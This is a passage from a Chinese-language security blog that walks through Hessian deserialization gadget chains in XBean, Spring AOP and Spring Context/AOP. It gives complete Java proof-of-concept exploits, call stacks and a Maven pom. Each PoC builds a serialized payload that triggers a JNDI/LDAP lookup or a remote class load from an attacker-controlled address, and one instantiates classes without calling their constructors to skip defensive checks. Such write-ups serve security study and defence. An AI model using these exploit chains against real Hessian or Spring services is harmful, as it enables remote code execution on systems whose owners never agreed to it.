at javax.management.BadAttributeValueExpException.readObject(BadAttributeValueExpException.java:86)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)
at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:1900)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:1801)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1351)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:371)
at java.security.SignedObject.getObject(SignedObject.java:180)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at com.sun.syndication.feed.impl.ToStringBean.toString(ToStringBean.java:137)
at com.sun.syndication.feed.impl.ToStringBean.toString(ToStringBean.java:116)
at com.sun.syndication.feed.impl.EqualsBean.beanHashCode(EqualsBean.java:193)
at com.sun.syndication.feed.impl.EqualsBean.hashCode(EqualsBean.java:176)
at java.util.HashMap.hash(HashMap.java:338)
at java.util.HashMap.put(HashMap.java:611)
at com.caucho.hessian.io.MapDeserializer.readMap(MapDeserializer.java:114)
at com.caucho.hessian.io.SerializerFactory.readMap(SerializerFactory.java:577)
at com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2093)
at org.hessian.gadget.romeTemplates.unserialize(romeTemplates.java:67)
at org.hessian.gadget.romeTemplates.main(romeTemplates.java:47)

XBean

其实学 resin 反序列化的时候瞄了一眼这个链子,emm还是没能偷懒吗,oh nei gai

主要就是org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding.getObject + https://baozongwi.xyz/p/java-rome-deserialization/#hotswappabletargetsourcepoc

当我们到了XString#equals之后可以触发任意的 toString 方法,这里是触发ContextUtil.ReadOnlyBinding但是这个类继承 binding,所以是触发到了binding#toString

1
2
3
public String toString() {
    return super.toString() + ":" + getObject();
}

隐式触发ReadOnlyBinding#getObject

1
2
3
4
5
6
7
public Object getObject() {
    try {
        return ContextUtil.resolve(this.value, this.getName(), (Name)null, this.context);
    } catch (NamingException e) {
        throw new RuntimeException(e);
    }
}

接着触发到ContextUtil#resolve就和 resin-Qname 链一样了,并且使用的碰撞方式与之前不同,直接使用 HotSwappableTargetSource 进行碰撞

poc 如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package org.hessian.gadget;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.apache.xbean.naming.context.WritableContext;
import org.springframework.aop.target.HotSwappableTargetSource;

import javax.naming.Context;
import javax.naming.Reference;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.HashMap;
import java.util.Hashtable;

public class XBeanPoc {
    public static void main(String[] args) throws Exception {
        String refAddr = "http://127.0.0.1:8000/";
        String refClassName = "Eval";

        Reference ref = new Reference(refClassName, refClassName, refAddr);
        WritableContext writableContext = new WritableContext();

        String classname = "org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding";
        Object readOnlyBinding = Class.forName(classname).getDeclaredConstructor(String.class, Object.class, Context.class).newInstance("aaa", ref, writableContext);

        XString xString = new XString("bbb");

        HotSwappableTargetSource targetSource1 = new HotSwappableTargetSource(readOnlyBinding);
        HotSwappableTargetSource targetSource2 = new HotSwappableTargetSource(xString);

        HashMap hashMap = new HashMap();
        hashMap.put(targetSource1, "111");
        hashMap.put(targetSource2, "222");


//        HashMap<Object, Object> map1 = new HashMap<>();
//        HashMap<Object, Object> map2 = new HashMap<>();
//        map1.put("yy", xString);
//        map1.put("zZ", readOnlyBinding);
//        map2.put("zZ", xString);
//        map2.put("yy", readOnlyBinding);
//
//        Hashtable<Object, Object> table = new Hashtable<>();
//        table.put(map1, "1");
//        table.put(map2, "2");

//        byte[] data = serialize(table);
        byte[] data = serialize(hashMap);
        unserialize(data);

    }
    private static byte[] serialize(Object obj) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(baos);
        hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
        hessian2Output.writeObject(obj);
        hessian2Output.flush();
        return baos.toByteArray();
    }

    private static Object unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        Hessian2Input hessianInput = new Hessian2Input(bais);
        return hessianInput.readObject();
    }
}

调用栈如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
at Eval.<clinit>(Eval.java:12)
at java.lang.Class.forName0(Class.java:-1)
at java.lang.Class.forName(Class.java:348)
at com.sun.naming.internal.VersionHelper12.loadClass(VersionHelper12.java:72)
at com.sun.naming.internal.VersionHelper12.loadClass(VersionHelper12.java:87)
at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:158)
at javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:319)
at org.apache.xbean.naming.context.ContextUtil.resolve(ContextUtil.java:73)
at org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding.getObject(ContextUtil.java:204)
at javax.naming.Binding.toString(Binding.java:192)
at com.sun.org.apache.xpath.internal.objects.XString.equals(XString.java:392)
at org.springframework.aop.target.HotSwappableTargetSource.equals(HotSwappableTargetSource.java:103)
at java.util.HashMap.putVal(HashMap.java:634)
at java.util.HashMap.put(HashMap.java:611)
at org.hessian.gadget.XBeanPoc.main(XBeanPoc.java:34)

Spring AOP

学习 XBean Gadget 知道HotSwappableTargetSource#equals可以触发任意方法的 equals 方法,而在这条链子中就是AbstractPointcutAdvisor#equals

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
public boolean equals(Object other) {
    if (this == other) {
        return true;
    } else if (!(other instanceof PointcutAdvisor)) {
        return false;
    } else {
        PointcutAdvisor otherAdvisor = (PointcutAdvisor)other;
        return ObjectUtils.nullSafeEquals(this.getAdvice(), otherAdvisor.getAdvice()) && ObjectUtils.nullSafeEquals(this.getPointcut(), otherAdvisor.getPointcut());
    }
}

使用 ObjectUtils.nullSafeEquals 方法比较当前对象与 otherAdvisoradvicepointcut 属性,然后触发 getAdvice 和 getPointcut 方法。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
public static boolean nullSafeEquals(@Nullable Object o1, @Nullable Object o2) {
    if (o1 == o2) {
        return true;
    } else if (o1 != null && o2 != null) {
        if (o1.equals(o2)) {
            return true;
        } else {
            return o1.getClass().isArray() && o2.getClass().isArray() ? arrayEquals(o1, o2) : false;
        }
    } else {
        return false;
    }
}

要满足两个 AbstractPointcutAdvisor 对象相等,就是在对比其 Pointcut 切点和 Advice 是否为同一个。现在需要在 AbstractPointcutAdvisor 子类中寻找可用的 getAdvice\getPointcut 方法,发现AbstractBeanFactoryPointcutAdvisor#getAdvice

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public Advice getAdvice() {
        Advice advice = this.advice;
        if (advice != null) {
            return advice;
        } else {
            Assert.state(this.adviceBeanName != null, "'adviceBeanName' must be specified");
            Assert.state(this.beanFactory != null, "BeanFactory must be set to resolve 'adviceBeanName'");
            if (this.beanFactory.isSingleton(this.adviceBeanName)) {
                advice = (Advice)this.beanFactory.getBean(this.adviceBeanName, Advice.class);
                this.advice = advice;
                return advice;
            } else {
                synchronized(this.adviceMonitor) {
                    advice = this.advice;
                    if (advice == null) {
                        advice = (Advice)this.beanFactory.getBean(this.adviceBeanName, Advice.class);
                        this.advice = advice;
                    }

                    return advice;
                }
            }
        }
    }

会触发到 getBean 方法,SimpleJndiBeanFactory#getBean可以触发 lookup 方法,可以打JNDI注入

img

img

AbstractBeanFactoryPointcutAdvisor 是一个抽象类,不能直接实例化。使用它的具体实现类 DefaultBeanFactoryPointcutAdvisor,AbstractPointcutAdvisor也是一个抽象类,其实现类为AsyncAnnotationAdvisor,最终 poc 如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package org.hessian.gadget;

import com.caucho.hessian.io.*;
import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import org.springframework.scheduling.annotation.AsyncAnnotationAdvisor;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.HashMap;

public class springAopExp {
    public static void main(String[] args) throws Exception {
        String url = "ldap://127.0.0.1:1389/#Eval";

        SimpleJndiBeanFactory beanFactory = new SimpleJndiBeanFactory();
        beanFactory.setShareableResources(url);

        DefaultBeanFactoryPointcutAdvisor advisor1 = new DefaultBeanFactoryPointcutAdvisor();
        advisor1.setAdviceBeanName(url);
        advisor1.setBeanFactory(beanFactory);

        AsyncAnnotationAdvisor advisor2 = new AsyncAnnotationAdvisor();

        HotSwappableTargetSource targetSource1 = new HotSwappableTargetSource("1");
        HotSwappableTargetSource targetSource2 = new HotSwappableTargetSource("2");

        HashMap innerMap = new HashMap();
        innerMap.put(targetSource1, "aaa");
        innerMap.put(targetSource2, "bbb");

        setFieldValue(targetSource1, "target", advisor1);
        setFieldValue(targetSource2, "target", advisor2);

        HashMap outerMap = new HashMap();
        outerMap.put(innerMap, "ccc");

        byte[] data=serialize(outerMap);
        unserialize(data);
    }

    private static void setFieldValue(Object obj, String field, Object value) throws Exception {
        Field f = obj.getClass().getDeclaredField(field);
        f.setAccessible(true);
        f.set(obj, value);
    }
    private static byte[] serialize(Object obj) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(baos);
        hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
        hessian2Output.writeObject(obj);
        hessian2Output.flush();
        return baos.toByteArray();
    }

    private static Object unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        Hessian2Input hessianInput = new Hessian2Input(bais);
        return hessianInput.readObject();
    }
}

调用栈

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
at org.springframework.jndi.JndiTemplate.lookup(JndiTemplate.java:178)
at org.springframework.jndi.JndiLocatorSupport.lookup(JndiLocatorSupport.java:96)
at org.springframework.jndi.support.SimpleJndiBeanFactory.doGetSingleton(SimpleJndiBeanFactory.java:220)
at org.springframework.jndi.support.SimpleJndiBeanFactory.getBean(SimpleJndiBeanFactory.java:113)
at org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor.getAdvice(AbstractBeanFactoryPointcutAdvisor.java:116)
at org.springframework.aop.support.AbstractPointcutAdvisor.equals(AbstractPointcutAdvisor.java:76)
at org.springframework.aop.target.HotSwappableTargetSource.equals(HotSwappableTargetSource.java:104)
at java.util.HashMap.putVal(HashMap.java:634)
at java.util.HashMap.put(HashMap.java:611)
at com.caucho.hessian.io.MapDeserializer.readMap(MapDeserializer.java:114)
at com.caucho.hessian.io.SerializerFactory.readMap(SerializerFactory.java:573)
at com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2093)
at com.caucho.hessian.io.MapDeserializer.readMap(MapDeserializer.java:114)
at com.caucho.hessian.io.SerializerFactory.readMap(SerializerFactory.java:577)
at com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2093)
at org.hessian.gadget.springAopExp.unserialize(springAopExp.java:62)
at org.hessian.gadget.springAopExp.main(springAopExp.java:42)

Spring Context & AOP

AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder 的 toString 方法,会打印 order 属性,调用 advisor 的 getOrder 方法。

img

需要找到类同时实现了 Advisor 和 Ordered 接口,于是找到了 AspectJPointcutAdvisor ,这个类的 getOrder 方法调用 AbstractAspectJAdvice 的 getOrder 方法。

img

接着会触发 AspectInstanceFactory 的 getOrder 方法,但是它是个接口,其实现类为 BeanFactoryAspectInstanceFactory

img

1
2
3
4
5
6
7
8
    public int getOrder() {
        Class<?> type = this.beanFactory.getType(this.name);
        if (type != null) {
            return Ordered.class.isAssignableFrom(type) && this.beanFactory.isSingleton(this.name) ? ((Ordered)this.beanFactory.getBean(this.name)).getOrder() : OrderUtils.getOrder(type, Integer.MAX_VALUE);
        } else {
            return Integer.MAX_VALUE;
        }
    }

可以触发到 getType 方法,依旧使用 SimpleJndiBeanFactory

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
@Nullable
public Class<?> getType(String name) throws NoSuchBeanDefinitionException {
    try {
        return this.doGetType(name);
    } catch (NameNotFoundException var3) {
        throw new NoSuchBeanDefinitionException(name, "not found in JNDI environment");
    } catch (NamingException var4) {
        return null;
    }
}

查看 doGetType 方法

img

可以触发 lookup 方法,但是这里有一些需要注意的点,Spring框架的许多类会在构造方法中进行安全校验或初始化操作,所以这里用到一个方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
// 创建实例但是不触发构造方法(避免有防御代码)
public static <T> T createWithoutConstructor(Class<T> clazz) throws Exception {
    return createWithConstructor(clazz, Object.class, new Class[0], new Object[0]);
}

public static <T> T createWithConstructor(Class<T> targetClass,
                                          Class<? super T> constructorClass,
                                          Class<?>[] argTypes,
                                          Object[] args) throws Exception {
    Constructor<? super T> templateCons = constructorClass.getDeclaredConstructor(argTypes);
    templateCons.setAccessible(true);
    Constructor<?> fakeCons = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(targetClass, templateCons);
    fakeCons.setAccessible(true);
    return (T) fakeCons.newInstance(args);
}

而且使用 getField 方法,而不是直接 getDeclaredField,这样可以从父类去查找,然后再用 Xstring 串起来即可

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
package org.hessian.gadget;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.aspectj.AbstractAspectJAdvice;
import org.springframework.aop.aspectj.AspectInstanceFactory;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJPointcutAdvisor;
import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import sun.reflect.ReflectionFactory;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;

public class springConetextAopExp {
    public static void main(String[] args) throws Exception {
        String url = "ldap://127.0.0.1:1389/#Eval";

        SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();

        AspectInstanceFactory beanFactoryAspectInstanceFactory = createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
        setFieldValue(beanFactoryAspectInstanceFactory, "beanFactory", simpleJndiBeanFactory);
        setFieldValue(beanFactoryAspectInstanceFactory, "name", url);

        AbstractAspectJAdvice aspectJAroundAdvice = createWithoutConstructor(AspectJAroundAdvice.class);
        setFieldValue(aspectJAroundAdvice, "aspectInstanceFactory", beanFactoryAspectInstanceFactory);

        AspectJPointcutAdvisor aspectJPointcutAdvisor = createWithoutConstructor(AspectJPointcutAdvisor.class);
        setFieldValue(aspectJPointcutAdvisor, "advice", aspectJAroundAdvice);

        String PartiallyComparableAdvisorHolder = "org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder";
        Class<?> aClass = Class.forName(PartiallyComparableAdvisorHolder);
        Object partially = createWithoutConstructor(aClass);
        setFieldValue(partially, "advisor", aspectJPointcutAdvisor);

        HotSwappableTargetSource targetSource1 = new HotSwappableTargetSource(partially);
        HotSwappableTargetSource targetSource2 = new HotSwappableTargetSource(new XString("aaa"));

        HashMap hashMap = new HashMap();
        hashMap.put(targetSource1, "aaa");
        hashMap.put(targetSource2, "bbb");

        byte[] data =serialize(hashMap);
        unserialize(data);
    }

    private static byte[] serialize(Object obj) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(baos);
        hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
        hessian2Output.writeObject(obj);
        hessian2Output.flush();
        return baos.toByteArray();
    }

    private static Object unserialize(byte[] bytes) throws Exception {
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        Hessian2Input hessianInput = new Hessian2Input(bais);
        return hessianInput.readObject();
    }

    // 创建实例但是不触发构造方法(避免有防御代码)
    public static <T> T createWithoutConstructor(Class<T> clazz) throws Exception {
        return createWithConstructor(clazz, Object.class, new Class[0], new Object[0]);
    }

    public static <T> T createWithConstructor(Class<T> targetClass,
                                              Class<? super T> constructorClass,
                                              Class<?>[] argTypes,
                                              Object[] args) throws Exception {
        Constructor<? super T> templateCons = constructorClass.getDeclaredConstructor(argTypes);
        templateCons.setAccessible(true);
        Constructor<?> fakeCons = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(targetClass, templateCons);
        fakeCons.setAccessible(true);
        return (T) fakeCons.newInstance(args);
    }

    private static void setFieldValue(Object obj, String field, Object value) throws Exception {
        Field f = getField(obj.getClass(),field);
        f.setAccessible(true);
        f.set(obj, value);
    }

    private static Field getField(Class<?> clazz, String fieldName) throws Exception {
        try {
            Field field = clazz.getDeclaredField(fieldName);
            if (field != null) return field;
        } catch (NoSuchFieldException e) {
            if (clazz.getSuperclass() != null) {
                return getField(clazz.getSuperclass(), fieldName);
            }
        }
        throw new NoSuchFieldException(fieldName);
    }
}

调用栈

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
at org.springframework.jndi.JndiTemplate.lookup(JndiTemplate.java:156)
at org.springframework.jndi.JndiTemplate.lookup(JndiTemplate.java:178)
at org.springframework.jndi.JndiLocatorSupport.lookup(JndiLocatorSupport.java:96)
at org.springframework.jndi.support.SimpleJndiBeanFactory.doGetType(SimpleJndiBeanFactory.java:236)
at org.springframework.jndi.support.SimpleJndiBeanFactory.getType(SimpleJndiBeanFactory.java:193)
at org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory.getOrder(BeanFactoryAspectInstanceFactory.java:136)
at org.springframework.aop.aspectj.AbstractAspectJAdvice.getOrder(AbstractAspectJAdvice.java:223)
at org.springframework.aop.aspectj.AspectJPointcutAdvisor.getOrder(AspectJPointcutAdvisor.java:81)
at org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder.toString(AspectJAwareAdvisorAutoProxyCreator.java:151)
at com.sun.org.apache.xpath.internal.objects.XString.equals(XString.java:392)
at org.springframework.aop.target.HotSwappableTargetSource.equals(HotSwappableTargetSource.java:104)
at java.util.HashMap.putVal(HashMap.java:634)
at java.util.HashMap.put(HashMap.java:611)
at com.caucho.hessian.io.MapDeserializer.readMap(MapDeserializer.java:114)
at com.caucho.hessian.io.SerializerFactory.readMap(SerializerFactory.java:577)
at com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2093)
at org.hessian.gadget.springConetextAopExp.unserialize(springConetextAopExp.java:66)
at org.hessian.gadget.springConetextAopExp.main(springConetextAopExp.java:51)

完整的 pom.xml 如下

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>TwiceReadObject</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
        <spring.version>5.0.0.RELEASE</spring.version>
    </properties>

    <dependencies>
        <dependency>
            <groupId>com.caucho</groupId>
            <artifactId>resin</artifactId>
            <version>4.0.64</version>
            <exclusions>
                <exclusion>
                    <groupId>com.caucho</groupId>
                    <artifactId>javaee-16</artifactId>
                </exclusion>
            </exclusions>
        </dependency>
      
        <dependency>
            <groupId>org.aspectj</groupId>
            <artifactId>aspectjweaver</artifactId>
            <version>1.9.7</version>
        </dependency>
        <dependency>
            <groupId>org.aspectj</groupId>
            <artifactId>aspectjrt</artifactId>
            <version>1.9.7</version>
        </dependency>

        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.28.0-GA</version>
        </dependency>
      
        <dependency>
            <groupId>org.apache.xbean</groupId>
            <artifactId>xbean-naming</artifactId>
            <version>4.26</version>
        </dependency>

        <dependency>
            <groupId>rome</groupId>
            <artifactId>rome</artifactId>
            <version>1.0</version>
        </dependency>
        
        <dependency>
            <groupId>com.caucho</groupId>
            <artifactId>hessian</artifactId>
            <version>4.0.66</version>
        </dependency>

        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-aop</artifactId>
            <version>${spring.version}</version>
        </dependency>
        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-context</artifactId>
            <version>${spring.version}</version>
        </dependency>
        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-web</artifactId>
            <version>${spring.version}</version>
        </dependency>
        <dependency>
            <groupId>org.springframework</groupId>
            <artifactId>spring-webmvc</artifactId>
            <version>${spring.version}</version>
        </dependency>
      
        <dependency>
              <groupId>javax.servlet</groupId>
              <artifactId>javax.servlet-api</artifactId>
              <version>4.0.1</version>
              <scope>provided</scope>
        </dependency>

    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <configuration>
                    <excludes>
                        <exclude>org/example/resin/**</exclude>
                    </excludes>
                </configuration>
            </plugin>
            
        </plugins>
    </build>
</project>

https://xz.aliyun.com/news/17603

https://www.javasec.org/java-vuls/Hessian.html

https://changeyourway.github.io/2025/02/20/Java%20%E5%AE%89%E5%85%A8/%E6%BC%8F%E6%B4%9E%E7%AF%87-Hessian%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/

https://goodapple.top/archives/1193